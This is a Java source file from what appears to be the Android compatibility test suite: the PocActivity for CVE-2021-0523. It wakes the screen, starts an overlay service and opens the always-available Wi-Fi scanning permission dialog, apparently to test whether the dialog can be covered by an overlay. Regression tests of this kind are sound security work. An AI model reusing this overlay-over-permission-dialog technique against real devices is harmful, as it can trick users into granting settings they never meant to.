1 /* 2 * Copyright (C) 2021 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 package android.security.cts.cve_2021_0523; 18 19 import android.app.Activity; 20 import android.content.Intent; 21 import android.content.Context; 22 import android.net.wifi.WifiManager; 23 import android.os.Build; 24 import android.os.Bundle; 25 import android.os.PowerManager; 26 import android.os.PowerManager.WakeLock; 27 import android.provider.Settings; 28 29 public class PocActivity extends Activity { 30 private WakeLock mScreenLock; 31 private Context mContext; 32 startOverlayService()33 private void startOverlayService() { 34 if (Settings.canDrawOverlays(this)) { 35 Intent intent = new Intent(PocActivity.this, PocService.class); 36 startService(intent); 37 } else { 38 try { 39 Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION); 40 startActivityForResult(intent, 1); 41 } catch (Exception e) { 42 e.printStackTrace(); 43 } 44 } 45 } 46 stopOverlayService()47 private void stopOverlayService() { 48 Intent intent = new Intent(PocActivity.this, PocService.class); 49 stopService(intent); 50 } 51 52 @Override onCreate(Bundle savedInstanceState)53 protected void onCreate(Bundle savedInstanceState) { 54 mContext = this.getApplicationContext(); 55 PowerManager pm = mContext.getSystemService(PowerManager.class); 56 mScreenLock = pm.newWakeLock( 57 PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, 58 "PocActivity"); 59 mScreenLock.acquire(); 60 try { 61 Thread.sleep(6000); 62 } catch (Exception e) { 63 e.printStackTrace(); 64 } 65 super.onCreate(savedInstanceState); 66 setContentView(R.layout.activity_main); 67 startOverlayService(); 68 Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE); 69 startActivityForResult(intent, 2); 70 } 71 72 @Override onDestroy()73 protected void onDestroy() { 74 super.onDestroy(); 75 mScreenLock.release(); 76 } 77 } 78